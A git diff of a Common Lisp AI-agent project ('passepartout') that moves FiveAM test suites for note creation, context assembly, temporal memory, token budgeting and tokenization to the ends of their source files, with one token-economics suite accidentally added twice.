"my_project_overview" filename :test #'char-equal)) - (fiveam:is (not (search ":" filename))))) - -(fiveam:test test-archivist-create-note - "Contract 3: archivist-create-note writes a Zettelkasten note to disk." - (let* ((tmp-dir "/tmp/passepartout-archivist-test/") - (headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic")))) - (uiop:ensure-all-directories-exist (list tmp-dir)) - (unwind-protect - (progn - (fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org")) - "Expected note creation to return T") - (fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir)) - "Expected file test_note.org to exist")) - (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t)))) - (in-package :passepartout) (in-package :passepartout) @@ -277,3 +239,41 @@ and dispatches as needed. Called by the deterministic gate." :priority 100 :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :heartbeat)) :deterministic #'archivist-run) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-symbolic-archivist-tests + (:use :cl :passepartout) + (:export #:archivist-suite)) + +(in-package :passepartout-symbolic-archivist-tests) + +(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill") +(fiveam:in-suite archivist-suite) + +(fiveam:test test-extract-headlines + "Contract 1: archivist-extract-headlines parses Org content." + (let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another Headline")) + (headlines (archivist-extract-headlines content))) + (fiveam:is (listp headlines)) + (fiveam:is (>= (length headlines) 1)))) + +(fiveam:test test-headline-to-filename + "Contract 2: archivist-headline-to-filename sanitizes titles." + (let ((filename (archivist-headline-to-filename "My Project: Overview"))) + (fiveam:is (search "my_project_overview" filename :test #'char-equal)) + (fiveam:is (not (search ":" filename))))) + +(fiveam:test test-archivist-create-note + "Contract 3: archivist-create-note writes a Zettelkasten note to disk." + (let* ((tmp-dir "/tmp/passepartout-archivist-test/") + (headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic")))) + (uiop:ensure-all-directories-exist (list tmp-dir)) + (unwind-protect + (progn + (fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org")) + "Expected note creation to return T") + (fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir)) + "Expected file test_note.org to exist")) + (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t)))) diff --git a/lisp/symbolic-awareness.lisp b/lisp/symbolic-awareness.lisp index e201dbb..444085d 100644 --- a/lisp/symbolic-awareness.lisp +++ b/lisp/symbolic-awareness.lisp @@ -1,70 +1,3 @@ -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-peripheral-vision-tests - (:use :cl :fiveam :passepartout) - (:export #:vision-suite)) -(in-package :passepartout-peripheral-vision-tests) - -(def-suite vision-suite :description "Verification of Foveal-Peripheral context model.") -(in-suite vision-suite) - -(test test-foveal-rendering - "Contract 1: foveal content inline, peripheral content title-only." - (clrhash passepartout::*memory-store*) - (let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project")) - :contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node") - :raw-content "FOVEAL CONTENT" :contents nil) - (:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node") - :raw-content "PERIPHERAL CONTENT" :contents nil))))) - (ingest-ast ast) - (let ((output (context-awareness-assemble (list :foveal-focus "node-foveal")))) - (is (search "FOVEAL CONTENT" output)) - (is (search "* Peripheral Node" output)) - (is (not (search "PERIPHERAL CONTENT" output)))))) - -(test test-awareness-budget - "Contract 1: all active projects appear in awareness output." - (clrhash passepartout::*memory-store*) - (ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil)) - (ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil)) - (let ((output (context-awareness-assemble))) - (is (search "Project 1" output)) - (is (search "Project 2" output)))) - -(test test-context-empty-memory - "Contract 1: empty memory produces clean output without error." - (clrhash passepartout::*memory-store*) - (let ((output (context-awareness-assemble))) - (is (stringp output)) - (is (search "MEMEX" output :test #'char-equal)))) - -(test test-context-no-foveal-focus - "Contract 2: without foveal focus, no inline content appears." - (clrhash passepartout::*memory-store*) - (let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project")) - :contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node") - :raw-content "CHILD CONTENT" :contents nil))))) - (ingest-ast ast) - (let ((output (context-awareness-assemble nil))) - (is (stringp output)) - (is (not (search "CHILD CONTENT" output)))))) - -(test test-semantic-retrieval-trigram - "Contract v0.4.0: trigram backend produces non-zero similarity for related content." - (let ((v1 (passepartout::embedding-backend-trigram "implement user login form")) - (v2 (passepartout::embedding-backend-trigram "add password authentication"))) - (let ((sim (passepartout::vector-cosine-similarity v1 v2))) - (is (> sim 0.0)))) - (let ((v3 (passepartout::embedding-backend-trigram "authentication login form handler module")) - (v4 (passepartout::embedding-backend-trigram "authentication login form handler fix"))) - (let ((sim (passepartout::vector-cosine-similarity v3 v4))) - (is (> sim 0.75)))) - (let ((v5 (passepartout::embedding-backend-trigram "authentication")) - (v6 (passepartout::embedding-backend-trigram "banana"))) - (let ((sim (passepartout::vector-cosine-similarity v5 v6))) - (is (< sim 0.3))))) - (in-package :passepartout) (defun context-query (&key tag todo-state type scope) @@ -226,3 +159,70 @@ Privacy-filtered objects (matching the Dispatcher's privacy tags) are excluded." (defskill :passepartout-symbolic-awareness :priority 50 :trigger (lambda (ctx) (declare (ignore ctx)) nil)) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-peripheral-vision-tests + (:use :cl :fiveam :passepartout) + (:export #:vision-suite)) +(in-package :passepartout-peripheral-vision-tests) + +(def-suite vision-suite :description "Verification of Foveal-Peripheral context model.") +(in-suite vision-suite) + +(test test-foveal-rendering + "Contract 1: foveal content inline, peripheral content title-only." + (clrhash passepartout::*memory-store*) + (let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project")) + :contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node") + :raw-content "FOVEAL CONTENT" :contents nil) + (:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node") + :raw-content "PERIPHERAL CONTENT" :contents nil))))) + (ingest-ast ast) + (let ((output (context-awareness-assemble (list :foveal-focus "node-foveal")))) + (is (search "FOVEAL CONTENT" output)) + (is (search "* Peripheral Node" output)) + (is (not (search "PERIPHERAL CONTENT" output)))))) + +(test test-awareness-budget + "Contract 1: all active projects appear in awareness output." + (clrhash passepartout::*memory-store*) + (ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil)) + (ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil)) + (let ((output (context-awareness-assemble))) + (is (search "Project 1" output)) + (is (search "Project 2" output)))) + +(test test-context-empty-memory + "Contract 1: empty memory produces clean output without error." + (clrhash passepartout::*memory-store*) + (let ((output (context-awareness-assemble))) + (is (stringp output)) + (is (search "MEMEX" output :test #'char-equal)))) + +(test test-context-no-foveal-focus + "Contract 2: without foveal focus, no inline content appears." + (clrhash passepartout::*memory-store*) + (let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project")) + :contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node") + :raw-content "CHILD CONTENT" :contents nil))))) + (ingest-ast ast) + (let ((output (context-awareness-assemble nil))) + (is (stringp output)) + (is (not (search "CHILD CONTENT" output)))))) + +(test test-semantic-retrieval-trigram + "Contract v0.4.0: trigram backend produces non-zero similarity for related content." + (let ((v1 (passepartout::embedding-backend-trigram "implement user login form")) + (v2 (passepartout::embedding-backend-trigram "add password authentication"))) + (let ((sim (passepartout::vector-cosine-similarity v1 v2))) + (is (> sim 0.0)))) + (let ((v3 (passepartout::embedding-backend-trigram "authentication login form handler module")) + (v4 (passepartout::embedding-backend-trigram "authentication login form handler fix"))) + (let ((sim (passepartout::vector-cosine-similarity v3 v4))) + (is (> sim 0.75)))) + (let ((v5 (passepartout::embedding-backend-trigram "authentication")) + (v6 (passepartout::embedding-backend-trigram "banana"))) + (let ((sim (passepartout::vector-cosine-similarity v5 v6))) + (is (< sim 0.3))))) diff --git a/lisp/symbolic-scope.lisp b/lisp/symbolic-scope.lisp index 33e003e..0a2c4ff 100644 --- a/lisp/symbolic-scope.lisp +++ b/lisp/symbolic-scope.lisp @@ -1,45 +1,3 @@ -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-context-tests - (:use :cl :passepartout) - (:export #:context-suite)) - -(in-package :passepartout-context-tests) - -(fiveam:def-suite context-suite :description "Context manager verification") -(fiveam:in-suite context-suite) - -(fiveam:test test-push-pop-context - "Contract 1-2: push-context and pop-context maintain stack order." - (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER")) - (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg))) - (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg)))) - (when stack-var - (setf (symbol-value stack-var) nil) - (push-context :project "testapp" :base-path "/tmp" :scope :project) - (fiveam:is (= 1 (length (symbol-value stack-var)))) - (fiveam:is (string= "testapp" (getf (car (symbol-value stack-var)) :project))) - (pop-context) - (fiveam:is (null (symbol-value stack-var)))))) - -(fiveam:test test-context-save-load - "Contract 3-4: context-save and context-load round-trip." - (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER")) - (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg))) - (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg)))) - (when (and stack-var pf-var) - (let* ((tmpfile (merge-pathnames "test-context.lisp" (uiop:temporary-directory)))) - (setf (symbol-value pf-var) tmpfile) - (setf (symbol-value stack-var) (list '(:project "test" :base-path "/tmp" :scope :project))) - (context-save) - (fiveam:is (probe-file tmpfile)) - (setf (symbol-value stack-var) nil) - (context-load) - (fiveam:is (= 1 (length (symbol-value stack-var)))) - (fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project))) - (ignore-errors (delete-file tmpfile)))))) - (in-package :passepartout) (defvar *context-stack* nil diff --git a/lisp/symbolic-time-memory.lisp b/lisp/symbolic-time-memory.lisp index a53cfcc..ac8848a 100644 --- a/lisp/symbolic-time-memory.lisp +++ b/lisp/symbolic-time-memory.lisp @@ -1,53 +1,3 @@ -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-time-memory-tests - (:use :cl :fiveam :passepartout) - (:export #:time-memory-suite)) - -(in-package :passepartout-time-memory-tests) - -(def-suite time-memory-suite :description "Temporal memory filtering") -(in-suite time-memory-suite) - -(test test-memory-objects-since - "Contract 1: ingest at T0 and T1, verify memory-objects-since(T1) returns only T1 nodes." - (clrhash passepartout::*memory-store*) - (let ((t0 (get-universal-time))) - (sleep 1) - (ingest-ast (list :type :HEADLINE :properties (list :ID "time-a" :TITLE "A") :contents nil)) - (ingest-ast (list :type :HEADLINE :properties (list :ID "time-b" :TITLE "B") :contents nil)) - (sleep 1) - (let ((t1 (get-universal-time))) - (sleep 1) - (ingest-ast (list :type :HEADLINE :properties (list :ID "time-c" :TITLE "C") :contents nil)) - (ingest-ast (list :type :HEADLINE :properties (list :ID "time-d" :TITLE "D") :contents nil)) - (let ((since-t1 (passepartout::memory-objects-since t1))) - (is (= 2 (length since-t1))) - (let ((ids (sort (mapcar #'memory-object-id since-t1) #'string<))) - (is (string= "time-c" (first ids))) - (is (string= "time-d" (second ids)))) - (let ((since-t0 (passepartout::memory-objects-since t0))) - (is (= 4 (length since-t0)))))))) - -(test test-memory-objects-in-range - "Contract 2: ingest nodes, verify range query returns correct subset." - (clrhash passepartout::*memory-store*) - (let ((t0 (get-universal-time))) - (sleep 1) - (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-1" :TITLE "One") :contents nil)) - (sleep 1) - (let ((t1 (get-universal-time))) - (sleep 1) - (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-2" :TITLE "Two") :contents nil)) - (sleep 1) - (let ((t2 (get-universal-time))) - (sleep 1) - (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-3" :TITLE "Three") :contents nil)) - (let ((range (passepartout::memory-objects-in-range t1 t2))) - (is (= 1 (length range))) - (is (string= "rng-2" (memory-object-id (first range))))))))) - (in-package :passepartout) (defun memory-objects-since (timestamp) @@ -111,3 +61,53 @@ Falls back to context-query if temporal filtering is not requested." time-filtered) time-filtered))) (subseq todo-filtered 0 (min max-results (length todo-filtered)))))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-time-memory-tests + (:use :cl :fiveam :passepartout) + (:export #:time-memory-suite)) + +(in-package :passepartout-time-memory-tests) + +(def-suite time-memory-suite :description "Temporal memory filtering") +(in-suite time-memory-suite) + +(test test-memory-objects-since + "Contract 1: ingest at T0 and T1, verify memory-objects-since(T1) returns only T1 nodes." + (clrhash passepartout::*memory-store*) + (let ((t0 (get-universal-time))) + (sleep 1) + (ingest-ast (list :type :HEADLINE :properties (list :ID "time-a" :TITLE "A") :contents nil)) + (ingest-ast (list :type :HEADLINE :properties (list :ID "time-b" :TITLE "B") :contents nil)) + (sleep 1) + (let ((t1 (get-universal-time))) + (sleep 1) + (ingest-ast (list :type :HEADLINE :properties (list :ID "time-c" :TITLE "C") :contents nil)) + (ingest-ast (list :type :HEADLINE :properties (list :ID "time-d" :TITLE "D") :contents nil)) + (let ((since-t1 (passepartout::memory-objects-since t1))) + (is (= 2 (length since-t1))) + (let ((ids (sort (mapcar #'memory-object-id since-t1) #'string<))) + (is (string= "time-c" (first ids))) + (is (string= "time-d" (second ids)))) + (let ((since-t0 (passepartout::memory-objects-since t0))) + (is (= 4 (length since-t0)))))))) + +(test test-memory-objects-in-range + "Contract 2: ingest nodes, verify range query returns correct subset." + (clrhash passepartout::*memory-store*) + (let ((t0 (get-universal-time))) + (sleep 1) + (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-1" :TITLE "One") :contents nil)) + (sleep 1) + (let ((t1 (get-universal-time))) + (sleep 1) + (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-2" :TITLE "Two") :contents nil)) + (sleep 1) + (let ((t2 (get-universal-time))) + (sleep 1) + (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-3" :TITLE "Three") :contents nil)) + (let ((range (passepartout::memory-objects-in-range t1 t2))) + (is (= 1 (length range))) + (is (string= "rng-2" (memory-object-id (first range))))))))) diff --git a/lisp/token-economics.lisp b/lisp/token-economics.lisp index 3e20988..3821474 100644 --- a/lisp/token-economics.lisp +++ b/lisp/token-economics.lisp @@ -1,102 +1,3 @@ -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-token-economics-tests - (:use :cl :fiveam :passepartout) - (:export #:token-economics-suite)) - -(in-package :passepartout-token-economics-tests) - -(def-suite token-economics-suite - :description "Prompt prefix caching, incremental context, token budget") -(in-suite token-economics-suite) - -(test test-prompt-prefix-cached-identity - "Contract 1: prompt-prefix-cached includes identity-content when provided." - (setf (car passepartout::*prompt-prefix-cache*) nil - (cdr passepartout::*prompt-prefix-cache*) "") - (let ((prefix (passepartout::prompt-prefix-cached - "Agent" "### Mode: concise" "" nil "No tools"))) - (is (stringp prefix)) - (is (search "IDENTITY" prefix)) - (is (search "Mode: concise" prefix)) - (is (search "TOOLS" prefix)))) - -(test test-prompt-prefix-cached-builds - "Contract 1: prompt-prefix-cached returns a string containing IDENTITY." - (setf (car passepartout::*prompt-prefix-cache*) nil - (cdr passepartout::*prompt-prefix-cache*) "") - (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) - (is (stringp prefix)) - (is (search "IDENTITY" prefix)) - (is (search "TOOLS" prefix)))) - -(test test-prompt-prefix-cached-hits - "Contract 1: second call with same inputs returns cached result." - (setf (car passepartout::*prompt-prefix-cache*) nil - (cdr passepartout::*prompt-prefix-cache*) "") - (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) - (p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) - (is (string= p1 p2)))) - -(test test-prompt-prefix-cached-miss - "Contract 1: different inputs rebuild the cache." - (setf (car passepartout::*prompt-prefix-cache*) nil - (cdr passepartout::*prompt-prefix-cache*) "") - (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) - (p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools"))) - (is (not (string= p1 p2))) - (is (search "Bot" p2)))) - -(test test-context-assemble-cached-skips-heartbeat - "Contract 2: heartbeat sensors skip context assembly, return nil." - (let ((result (passepartout::context-assemble-cached - '(:foveal-focus "id1") :heartbeat))) - (is (null result)))) - -(test test-context-assemble-cached-skips-delegation - "Contract 2: delegation sensors also skip assembly." - (let ((result (passepartout::context-assemble-cached - '(:foveal-focus "id1") :delegation))) - (is (null result)))) - -(test test-context-assemble-cached-non-skip - "Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)." - (let ((result (passepartout::context-assemble-cached - '(:foveal-focus "id1") :user-input))) - (is (stringp result)) - (is (> (length result) 0)))) - -(test test-enforce-token-budget-passthrough - "Contract 3: under-budget prompts pass through unchanged." - (multiple-value-bind (p c l u m) - (passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000) - (is (string= "hi" p)) - (is (string= "ctxt" c)) - (is (string= "log" l)) - (is (string= "user" u)) - (is (null m)))) - -(test test-enforce-token-budget-trims - "Contract 3: over-budget prompts get trimmed." - (let ((big-prefix (make-string 20000 :initial-element #\x))) - (multiple-value-bind (p c l u m) - (passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10) - (declare (ignore p l u m)) - ;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed - (is (or (stringp c) (null c))) - (is (search "[Context trimmed" (or c "")))))) - -(test test-token-economics-initialize - "Contract 4: initialize zeroes all cache state." - (setf (car passepartout::*prompt-prefix-cache*) 12345 - (cdr passepartout::*prompt-prefix-cache*) "stale") - (setf (getf passepartout::*context-cache* :rendered) "stale context") - (passepartout::token-economics-initialize) - (is (null (car passepartout::*prompt-prefix-cache*))) - (is (string= "" (cdr passepartout::*prompt-prefix-cache*))) - (is (string= "" (getf passepartout::*context-cache* :rendered)))) - (in-package :passepartout) (defvar *prompt-prefix-cache* (cons nil "") @@ -221,6 +122,238 @@ Returns nil when no context cache data is available." (min 100 (floor (* 100 tokens) limit)) nil))) +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-token-economics-tests + (:use :cl :fiveam :passepartout) + (:export #:token-economics-suite)) + +(in-package :passepartout-token-economics-tests) + +(def-suite token-economics-suite + :description "Prompt prefix caching, incremental context, token budget") +(in-suite token-economics-suite) + +(test test-prompt-prefix-cached-identity + "Contract 1: prompt-prefix-cached includes identity-content when provided." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((prefix (passepartout::prompt-prefix-cached + "Agent" "### Mode: concise" "" nil "No tools"))) + (is (stringp prefix)) + (is (search "IDENTITY" prefix)) + (is (search "Mode: concise" prefix)) + (is (search "TOOLS" prefix)))) + +(test test-prompt-prefix-cached-builds + "Contract 1: prompt-prefix-cached returns a string containing IDENTITY." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) + (is (stringp prefix)) + (is (search "IDENTITY" prefix)) + (is (search "TOOLS" prefix)))) + +(test test-prompt-prefix-cached-hits + "Contract 1: second call with same inputs returns cached result." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) + (p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) + (is (string= p1 p2)))) + +(test test-prompt-prefix-cached-miss + "Contract 1: different inputs rebuild the cache." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) + (p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools"))) + (is (not (string= p1 p2))) + (is (search "Bot" p2)))) + +(test test-context-assemble-cached-skips-heartbeat + "Contract 2: heartbeat sensors skip context assembly, return nil." + (let ((result (passepartout::context-assemble-cached + '(:foveal-focus "id1") :heartbeat))) + (is (null result)))) + +(test test-context-assemble-cached-skips-delegation + "Contract 2: delegation sensors also skip assembly." + (let ((result (passepartout::context-assemble-cached + '(:foveal-focus "id1") :delegation))) + (is (null result)))) + +(test test-context-assemble-cached-non-skip + "Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)." + (let ((result (passepartout::context-assemble-cached + '(:foveal-focus "id1") :user-input))) + (is (stringp result)) + (is (> (length result) 0)))) + +(test test-enforce-token-budget-passthrough + "Contract 3: under-budget prompts pass through unchanged." + (multiple-value-bind (p c l u m) + (passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000) + (is (string= "hi" p)) + (is (string= "ctxt" c)) + (is (string= "log" l)) + (is (string= "user" u)) + (is (null m)))) + +(test test-enforce-token-budget-trims + "Contract 3: over-budget prompts get trimmed." + (let ((big-prefix (make-string 20000 :initial-element #\x))) + (multiple-value-bind (p c l u m) + (passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10) + (declare (ignore p l u m)) + ;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed + (is (or (stringp c) (null c))) + (is (search "[Context trimmed" (or c "")))))) + +(test test-token-economics-initialize + "Contract 4: initialize zeroes all cache state." + (setf (car passepartout::*prompt-prefix-cache*) 12345 + (cdr passepartout::*prompt-prefix-cache*) "stale") + (setf (getf passepartout::*context-cache* :rendered) "stale context") + (passepartout::token-economics-initialize) + (is (null (car passepartout::*prompt-prefix-cache*))) + (is (string= "" (cdr passepartout::*prompt-prefix-cache*))) + (is (string= "" (getf passepartout::*context-cache* :rendered)))) +#+end_src* v0.8.0 Tests — Context Usage +#+begin_src lisp +(in-package :passepartout-token-economics-tests) + +(test test-context-usage-percentage + "Contract 5: context-usage-percentage returns integer 0-100." + ;; Set up a cache with known token counts + (let* ((ctx passepartout::*context-cache*) + (limit (or (ignore-errors (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS"))) + 16384))) + (setf (getf ctx :identity-tokens) 1000 + (getf ctx :tool-tokens) 500 + (getf ctx :context-tokens) 2000 + (getf ctx :log-tokens) 800 + (getf ctx :config-tokens) 200 + (getf ctx :time-tokens) 100) + (let ((pct (passepartout::context-usage-percentage))) + (is (integerp pct)) + (is (<= 0 pct 100))))) + +(test test-context-usage-percentage-empty-cache + "Contract 5: context-usage-percentage returns nil with no cache data." + (let ((saved-ctx (copy-list passepartout::*context-cache*))) + (unwind-protect + (progn + (setf (getf passepartout::*context-cache* :identity-tokens) nil + (getf passepartout::*context-cache* :tool-tokens) nil + (getf passepartout::*context-cache* :context-tokens) nil + (getf passepartout::*context-cache* :log-tokens) nil + (getf passepartout::*context-cache* :config-tokens) nil + (getf passepartout::*context-cache* :time-tokens) nil) + (is (null (passepartout::context-usage-percentage)))) + (setf passepartout::*context-cache* saved-ctx)))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-token-economics-tests + (:use :cl :fiveam :passepartout) + (:export #:token-economics-suite)) + +(in-package :passepartout-token-economics-tests) + +(def-suite token-economics-suite + :description "Prompt prefix caching, incremental context, token budget") +(in-suite token-economics-suite) + +(test test-prompt-prefix-cached-identity + "Contract 1: prompt-prefix-cached includes identity-content when provided." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((prefix (passepartout::prompt-prefix-cached + "Agent" "### Mode: concise" "" nil "No tools"))) + (is (stringp prefix)) + (is (search "IDENTITY" prefix)) + (is (search "Mode: concise" prefix)) + (is (search "TOOLS" prefix)))) + +(test test-prompt-prefix-cached-builds + "Contract 1: prompt-prefix-cached returns a string containing IDENTITY." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) + (is (stringp prefix)) + (is (search "IDENTITY" prefix)) + (is (search "TOOLS" prefix)))) + +(test test-prompt-prefix-cached-hits + "Contract 1: second call with same inputs returns cached result." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) + (p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) + (is (string= p1 p2)))) + +(test test-prompt-prefix-cached-miss + "Contract 1: different inputs rebuild the cache." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) + (p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools"))) + (is (not (string= p1 p2))) + (is (search "Bot" p2)))) + +(test test-context-assemble-cached-skips-heartbeat + "Contract 2: heartbeat sensors skip context assembly, return nil." + (let ((result (passepartout::context-assemble-cached + '(:foveal-focus "id1") :heartbeat))) + (is (null result)))) + +(test test-context-assemble-cached-skips-delegation + "Contract 2: delegation sensors also skip assembly." + (let ((result (passepartout::context-assemble-cached + '(:foveal-focus "id1") :delegation))) + (is (null result)))) + +(test test-context-assemble-cached-non-skip + "Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)." + (let ((result (passepartout::context-assemble-cached + '(:foveal-focus "id1") :user-input))) + (is (stringp result)) + (is (> (length result) 0)))) + +(test test-enforce-token-budget-passthrough + "Contract 3: under-budget prompts pass through unchanged." + (multiple-value-bind (p c l u m) + (passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000) + (is (string= "hi" p)) + (is (string= "ctxt" c)) + (is (string= "log" l)) + (is (string= "user" u)) + (is (null m)))) + +(test test-enforce-token-budget-trims + "Contract 3: over-budget prompts get trimmed." + (let ((big-prefix (make-string 20000 :initial-element #\x))) + (multiple-value-bind (p c l u m) + (passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10) + (declare (ignore p l u m)) + ;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed + (is (or (stringp c) (null c))) + (is (search "[Context trimmed" (or c "")))))) + +(test test-token-economics-initialize + "Contract 4: initialize zeroes all cache state." + (setf (car passepartout::*prompt-prefix-cache*) 12345 + (cdr passepartout::*prompt-prefix-cache*) "stale") + (setf (getf passepartout::*context-cache* :rendered) "stale context") + (passepartout::token-economics-initialize) + (is (null (car passepartout::*prompt-prefix-cache*))) + (is (string= "" (cdr passepartout::*prompt-prefix-cache*))) + (is (string= "" (getf passepartout::*context-cache* :rendered)))) +#+end_src* v0.8.0 Tests — Context Usage +#+begin_src lisp (in-package :passepartout-token-economics-tests) (test test-context-usage-percentage diff --git a/lisp/tokenizer.lisp b/lisp/tokenizer.lisp index 63aa935..dba05ae 100644 --- a/lisp/tokenizer.lisp +++ b/lisp/tokenizer.lisp @@ -1,75 +1,3 @@ -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-tokenizer-tests - (:use :cl :fiveam :passepartout) - (:export #:tokenizer-suite)) - -(in-package :passepartout-tokenizer-tests) - -(def-suite tokenizer-suite :description "Token counting and cost estimation") -(in-suite tokenizer-suite) - -(test test-count-tokens-default - "Contract 1: count-tokens returns non-zero for a non-empty string." - (let ((count (count-tokens "hello world"))) - (is (> count 0)) - (is (integerp count)))) - -(test test-count-tokens-known-model - "Contract 1: count-tokens with a known model returns a count." - (let ((count (count-tokens "hello world" :model :gpt-4o-mini))) - (is (> count 0)) - (is (integerp count)))) - -(test test-count-tokens-unknown-model - "Contract 1: count-tokens with an unknown model falls back to default." - (let ((count (count-tokens "hello world" :model :unknown-model-xyz))) - (is (> count 0)) - (is (integerp count)))) - -(test test-count-tokens-empty - "Contract 1: count-tokens on empty string returns 0." - (let ((count (count-tokens ""))) - (is (= 0 count)))) - -(test test-model-token-ratio-known - "Contract 2: known model returns correct ratio." - (is (= 4.0 (model-token-ratio :gpt-4o-mini))) - (is (= 4.5 (model-token-ratio :claude-3-5-sonnet))) - (is (= 3.5 (model-token-ratio :llama-3.1-70b)))) - -(test test-model-token-ratio-unknown - "Contract 2: unknown model returns default ratio." - (is (= 4.0 (model-token-ratio :unknown-model-abc)))) - -(test test-token-cost-known - "Contract 3: token-cost returns a number for known model." - (let ((cost (token-cost :gpt-4o-mini 1000))) - (is (numberp cost)) - (is (> cost 0.0)))) - -(test test-token-cost-unknown - "Contract 3: token-cost returns 0.0 for unknown model." - (is (= 0.0 (token-cost 